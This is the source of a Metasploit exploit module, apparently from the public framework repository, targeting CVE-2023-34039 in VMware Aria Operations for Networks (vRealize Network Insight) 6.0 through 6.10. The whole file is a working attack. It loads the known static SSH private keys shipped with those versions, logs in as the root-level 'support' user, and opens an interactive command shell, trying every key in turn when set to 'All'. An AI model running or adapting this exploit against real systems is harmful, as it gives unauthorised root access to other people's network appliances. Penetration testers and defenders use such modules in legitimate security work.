Path: blob/master/modules/exploits/linux/ssh/vmware_vrni_known_privkey.rb
32286 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9include Msf::Auxiliary::Report10include Msf::Exploit::Remote::SSH1112Rank = ExcellentRanking1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'VMWare Aria Operations for Networks (vRealize Network Insight) SSH Private Key Exposure',20'Description' => %q{21VMWare Aria Operations for Networks (vRealize Network Insight) versions 6.0.0 through 6.10.022do not randomize the SSH keys on virtual machine initialization. Since the key is easily23retrievable, an attacker can use it to gain unauthorized remote access as the "support" (root) user.24},25'Platform' => 'unix',26'Arch' => ARCH_CMD,27'Privileged' => true,28'Targets' => [29[ '6.0_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_platform') } ],30[ '6.0_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.0.0_proxy') } ],31[ '6.1_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_platform') } ],32[ '6.1_proxy', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.1.0_proxy') } ],33[ '6.2_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_collector') } ],34[ '6.2_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.2.0_platform') } ],35[ '6.3_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_collector') } ],36[ '6.3_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.3.0_platform') } ],37[ '6.4_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_collector') } ],38[ '6.4_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.4.0_platform') } ],39[ '6.5_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_collector') } ],40[ '6.5_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.5.0_platform') } ],41[ '6.6_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_collector') } ],42[ '6.6_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.6.0_platform') } ],43[ '6.7_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_collector') } ],44[ '6.7_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.7.0_platform') } ],45[ '6.8_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_collector') } ],46[ '6.8_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.8.0_platform') } ],47[ '6.9_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_collector') } ],48[ '6.9_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.9.0_platform') } ],49[ '6.10_collector', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_collector') } ],50[ '6.10_platform', { 'key' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-34039', 'id_rsa_vnera_keypair_6.10.0_platform') } ],51[52'All', {} # built later53],54],55'Payload' => {56'Compat' => {57'PayloadType' => 'cmd_interact',58'ConnectionType' => 'find'59}60},61'Author' => [62'h00die', # MSF module63'SinSinology', # PoC64'Harsh Jaiswal (@rootxharsh)', # Discovery65'Rahul Maini (@iamnoooob)' # Discovery66],67'License' => MSF_LICENSE,68'References' => [69['CVE', '2023-34039'],70['URL', 'https://github.com/sinsinology/CVE-2023-34039'],71['URL', 'https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/'],72['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0018.html'],73['ATT&CK', Mitre::Attack::Technique::T1021_004_SSH],74],75'DisclosureDate' => '2023-08-29',76'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },77'DefaultTarget' => 22,78'Notes' => {79'Stability' => [CRASH_SAFE],80'Reliability' => [REPEATABLE_SESSION],81'SideEffects' => [IOC_IN_LOGS]82}83}84)85)8687register_options(88[89# Since we don't include Tcp, we have to register this manually90Opt::RHOST(),91Opt::RPORT(22)92], self.class93)9495register_advanced_options(96[97OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),98OptBool.new('STOP_ON_SUCCESS', [ false, 'Stop on successful login', true]),99OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time in seconds to negotiate a SSH session', 30])100]101)102end103104# helper methods that normally come from Tcp105def rhost106datastore['RHOST']107end108109def rport110datastore['RPORT']111end112113def do_login(user, key_data)114opt_hash = ssh_client_defaults.merge({115auth_methods: ['publickey'],116port: rport,117key_data: [ key_data ]118})119opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']120begin121ssh_socket = nil122::Timeout.timeout(datastore['SSH_TIMEOUT']) do123ssh_socket = Net::SSH.start(rhost, user, opt_hash)124end125rescue Rex::ConnectionError126print_error "#{rhost}:#{rport} SSH - Unable to connect"127return nil128rescue Net::SSH::Disconnect, ::EOFError129print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"130return nil131rescue ::Timeout::Error132print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"133return nil134rescue Net::SSH::AuthenticationFailed135print_error "#{rhost}:#{rport} SSH - Failed authentication"136return nil137rescue Net::SSH::Exception => e138print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"139return nil140end141142if ssh_socket143# Create a new session from the socket, then close it.144conn = Net::SSH::CommandStream.new(ssh_socket, logger: self)145ssh_socket = nil146147return conn148end149nil150end151152def exploit153if target.name == 'All'154keys = targets.filter_map { |t| t.opts['key'] if t.name != 'All' }155else156keys = [target.opts['key']]157end158159keys.each do |key|160vprint_status("Attempting key: #{key}")161key_data = File.read(key, mode: 'rb')162conn = do_login('support', key_data)163next unless conn164165print_good "#{rhost}:#{rport} - Successful login via support@#{rhost}:#{rport} and ssh key: #{key}"166handler(conn.lsock)167break if datastore['STOP_ON_SUCCESS']168end169end170end171172173